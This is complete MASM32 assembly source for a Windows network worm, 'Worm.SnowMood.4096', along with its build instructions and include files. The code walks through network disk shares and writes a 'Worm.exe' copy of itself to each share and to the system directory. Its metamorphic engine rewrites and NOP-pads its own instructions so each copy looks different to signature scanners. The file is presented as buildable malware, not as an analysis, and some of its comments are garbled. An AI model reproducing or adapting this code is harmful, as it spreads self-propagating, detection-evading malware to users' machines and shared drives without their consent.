;Worm.SnowMood.4096
;WinXP,Masm32v6
;2002/11/10
;v1.0
;E-Mail:PeekXP@163.com
;ml   /c /coff snowmood.asm
;link /SUBSYSTEM:WINDOWS snowmood.obj 
;/MERGE:.rdata=.data /MERGE:.text=.data
;-----------------------------------------------------------------

.386 
.model flat,stdcall 
option casemap:none 
include useful.inc 
include Macros.inc    

.data
pMem            dd  0
szWormName      db  '\Worm.exe',0
orig_worm       db  50 dup (0)
copy_worm       db  MAX_PATH dup (0)

P segment
VStart:
     i2    push    PAGE_READWRITE 
     i2    push    MEM_RESERVE or MEM_COMMIT 
     i2    push    VEnd-VStart
     i2    push    0
     i2    call    VirtualAlloc
     i3    mov     pMem,eax              ;????,????
     
     i3    mov     esi,offset VStart
     i3    mov     edi,pMem
     i2    push    VEnd-VStart
     i2    pop     ecx
     i2    rep     movsb                ;????

     i2    push    50
     i2    push    offset orig_worm        
     i2    push    0
     i2    call    GetModuleFileName     ;??????           
      
     i2    push    MAX_PATH
     i2    push    offset copy_worm
     i2    call    GetSystemDirectory    ;??????
      
     i2    push    offset copy_worm
     i2    call    InfectDir             ;??????

     i2    push    NULL
     i2    call    EnumNetWork           ;??????         
     i1    ret
      
;----------- ??????,???????? -----------
EnumNetWork PROC  pNetResource : DWORD
        
      LOCAL   hEnum       : DWORD
      LOCAL   Count       : DWORD
      LOCAL   BufferSize  : DWORD

           nop
           nop
           nop
           nop
      i1   pushad
      i2   push    0FFFFFFFFh
      i2   pop     Count
      i2   push    16*1024
      i2   pop     BufferSize
   
      i3   lea     eax , hEnum    
      i2   push    eax
      i2   push    pNetResource
      i2   push    0 
      i2   push    RESOURCETYPE_DISK 
      i2   push    RESOURCE_GLOBALNET 
      i2   call    WNetOpenEnum
      i3   or      eax,eax
      i2   jnz     EN_Exit
        
      i2   push    PAGE_READWRITE 
      i2   push    MEM_RESERVE or MEM_COMMIT 
      i2   push    16*1024 
      i2   push    0
      i2   call    VirtualAlloc         
      i3   or      eax,eax 
      i2   jz      EN_Close
      i3   mov     pNetResource,eax    

      i3   lea     eax,BufferSize
      i2   push    eax
      i2   push    pNetResource 
      i3   lea     eax,Count
      i2   push    eax 
      i2   push    hEnum
      i2   call    WNetEnumResource                           
      i3   or      eax,eax 
      i2   jnz     EN_Free
                      
      i3   mov     ecx,Count
      i3   mov     edi,pNetResource
      assume  edi:ptr NETRESOURCEA
EN_Loop: 
      i3   mov     eax,[edi].dwUsage 
      i3   and     al,2 
      i3   cmp     al , 2  
      i2   jnz     EN_Dir
EN_Container:
      i2   push    edi     
      i2   call    EnumNetWork     
      i2   jmp     EN_Next
EN_Dir:
      i3   mov     eax,[edi].lpRemoteName          
      i2   push    [edi].lpRemoteName
      i2   call    InfectDir
EN_Next:
      i3   add     edi,sizeof NETRESOURCE
      i2   loop    EN_Loop 
EN_Free: 
      i2   push    MEM_RELEASE 
      i2   push    0 
      i2   push    pNetResource  
      i2   call    VirtualFree                 
EN_Close:  
      i2   push     hEnum
      i2   call     WNetCloseEnum         
EN_Exit:
      i1   popad
      i2   ret  4
EnumNetWork ENDP       


;------------------InfectDir---------------------------------
;??:????
;??:????????????
;??:????,??????PE??????.data
;      ????,?????????,?????
;------------------------------------------------------------

InfectDir  PROC    RemoteDir  : DWORD

      LOCAL ByteWrite:DWORD

           nop
           nop
           nop
           nop                      ;??10???
      i1   pushad
      i2   push    offset szWormName
      i2   push    RemoteDir
      i2   call    lstrcat                                             
                   
      i2   push    NULL
      i2   push    FILE_ATTRIBUTE_NORMAL
      i2   push    CREATE_ALWAYS
      i2   push    NULL
      i2   push    FILE_SHARE_READ+FILE_SHARE_WRITE
      i2   push    GENERIC_READ+GENERIC_WRITE
      i2   push    RemoteDir
      i2   call    CreateFile
      i3   or      eax,eax
      i2   jz      ID_Exit
      i3   xchg    eax,esi
        
      i3   lea     edi,ByteWrite
      i2   push    0 
      i2   push    edi
      i2   push    200h             
      i2   push    00400000h
      i2   push    esi              
      i2   call    WriteFile                 ;??? 
        
      i2   push    0 
      i2   push    edi
      i2   push    400h             
      i2   push    00401000h
      i2   push    esi              
      i2   call    WriteFile                 ;.data

      i2    push    (instrz-VStart)/10
      i2    pop     ecx
      i2    push    ebp
      i3    xor     ebp,ebp
      i3    mov     edi,pMem
      i2    call    PME32                   ;instrz->VStart?????
      i2    pop     ebp
    
      i3    lea     edi,ByteWrite
      i2    push    0 
      i2    push    edi
      i2    push    0A00h            ;VEnd-VStart?FileAlignment??
      i2    push    pMem
      i2    push    esi
      i2    call    WriteFile        ;Write code   
       
      i2    push    esi
      i2    call    CloseHandle
ID_Exit:          
      i1    popad
      i2    ret     4
        
InfectDir ENDP


;-------------------PME32--------------------------------
;??:
;       EDI    -     ???????
;       ECX    -     ???????,?10????
;??:
;       EDI    -     ???????
;??:
;       ???????????10???,?????
;       ???????.

PME32:
i1      pushad  
ExploreIns:
i2      push       ecx
i2      call       MORPHER     
i2      call       GARBAGER              ;insert garbage code
i2      pop        ecx
i2      loop       ExploreIns    
i1      popad
i1      ret

;---------------MORPHER---------------------------------------
;??:
;       EDI    -     ????????     
;??:
;       EDI    -     ???????
;       EAX    -     ??????
;??:
;       ????????????????,??????
;--------------------------------------------------------------

MORPHER:                            ;start of morpher code

i3       lea      esi,[instrz+ebp]

analyse_instr:
i1       lodsd       
i3       test     eax,eax
i2       je       end_MORPHER      ;????????,?????
i3       add      eax,ebp          ;??????
i3       xchg     eax,edx          ;???edx?,eax???

explore_instr:
i3       xor      eax,eax
i1       lodsb                      ;???
i3       test     al,al
i2       je       end_instr         ;??????????
i2       push     edi
i2       dec      eax
i3       add      edi,eax
i1       cmpsb                      ;??????
i2       pop      edi
i2       je       explore_instr     ;??,??

next_instr:                         ;??????????,??????
i1       lodsb
i3       test      al,al
i2       jne       next_instr        ;????????0
i2       jmp       analyse_instr     ;???????

end_instr:
i2       push      edi
i2       call      edx               ;????????
i2       pop       eax
i3       sub       eax,edi
i2       neg       eax               ;???????

end_MORPHER:
i1       ret

;-------- PUSHAD --------

shr_pushad:
i3       mov        al,60h              ;write single PUSHAD opcode
stosb_ret:
i1       stosb
i1       ret

exp_pushad:
i2       push       8                   ;write    PUSH EAX
i2       pop        ecx                 ;         PUSH ECX
i3       mov        al,50h              ;         ...
ep0:                                    ;         PUSH EDI
i1       stosb
i2       inc        eax
i2       loop       ep0
i1       ret

;-------- POPAD --------

shr_popad:
i3       mov       al,61h                  ;write single POPAD opcode
i2       jmp       stosb_ret

exp_popad:
i2       push      8                       ;write     POP EDI
i2       pop       ecx                     ;          POP ESI
i3       mov       al,5Fh                  ;          ...
ep1:                                       ;          POP EAX
i1       stosb
i2       dec       eax
i2       loop      ep1
i1       ret

;-------- RET -------------
shr_ret:
i3       mov       al,0C3h                     ;shrink to RET
i2       jmp       stosb_ret

exp_ret:
i3       mov       eax,0FF04C483h    ;83C404 ADD ESP,4
i1       stosd                       ;FF6424FC JMP DWORD PTR [ESP-4]
i3       mov       ax,2464h
i1       stosw
i3       mov       al,0FCh
i2       jmp       stosb_ret

;-------- INC EAX----------
shr_inceax:
i3       mov       al,40h               ;write single INC EAX opcode
i2       jmp       stosb_ret

exp_inceax:
i3       mov       al,83h               ;83 C0 01 ADD EAX,1
i1       stosb
i3       mov       ax,01c0h
i1       stosw
i1       ret

;-------- STOSD --------
shr_stosd:
i3       mov       al,0ABh              ;shrink to STOSD
i2       jmp       stosb_ret

exp_stosd:
i3       mov       eax,0C7830789h       ;create MOV    [EDI],EAX
i1       stosd                          ;       ADD     EDI,4
i3       mov       al,4
i2       jmp       stosb_ret


;-------------------- GARBAGER -------------------------------
;??:
;       EAX     -       ?????
;       EDI     -       ???????????
;??:
;       EDI     -       ???????
;??:
;       ?10??????,?????????,edi???????
;       ??????NOP.edi????,???????????
;       ??eax=0,??MORPHER????,????edi?10?
;       ????????
;---------------------------------------------------------------

GARBAGER:
i3      or     eax,eax    
i2      jz     G1
i3      mov    ecx,INSTRLEN
i3      sub    ecx,eax        
i3      mov    al,90h
G0:        
i1      stosb  
i2      loop   G0
i2      jmp    G2
G1: 
i3      add    edi,INSTRLEN
G2:        
i1      ret

                   
instrz:
;shrinker part
      dd       offset shr_pushad
      db       1,50h,2,51h,3,52h,4,53h,5,54h,6,55h,7,56h,8,57h,0
      dd       offset shr_popad
      db       1,5Fh,2,5Eh,3,5Dh,4,5Ch,5,5Bh,6,5Ah,7,59h,8,58h,0       
      dd       offset shr_ret
      db       1,83h,2,0C4h,3,04h,4,0FFh,5,64h,6,24h,7,0FCh,0
      dd       offset shr_inceax
      db       1,83h,2,0C0h,3,01h,0
      dd       offset shr_stosd
      db       1,89h,2,07h,3,83h,4,0C7h,5,04h,0              
      
;expander part
      dd       offset exp_pushad
      db       1,60h,0
      dd       offset exp_popad
      db       1,61h,0
      dd       offset exp_ret
      db       1,0C3h,0
      dd       offset exp_inceax
      db       1,40h,0
      dd       offset exp_stosd
      db       1,0ABh,0
      
      dd       0           ;????

VEnd:
P ends
end VStart

//macros.inc
INSTRLEN   equ   10

i3    macro   code1_2,code3
     local   s,e
s:      
     code1_2 , code3              ;e.g. MOV EAX,EBX
e:      
     db      INSTRLEN-(e-s) dup (90h)
endm

i2    macro    code1,code2
     local    s,e
s:      
     code1    code2                        ;e.g. INC EAX
e:      
     db       INSTRLEN-(e-s) dup (90h)
endm

i1    macro      code1
     local      s,e
s:      
     code1                              ;e.g. STOSD
e:      
     db      INSTRLEN-(e-s) dup (90h)
endm
//useful.inc
include \masm32\include\windows.inc 
include \masm32\include\kernel32.inc 
includelib \masm32\lib\kernel32.lib 
include \masm32\include\user32.inc 
includelib \masm32\lib\user32.lib 

@pushsz MACRO  str
LOCAL next
call  next
db    str,0
next:
ENDM


  
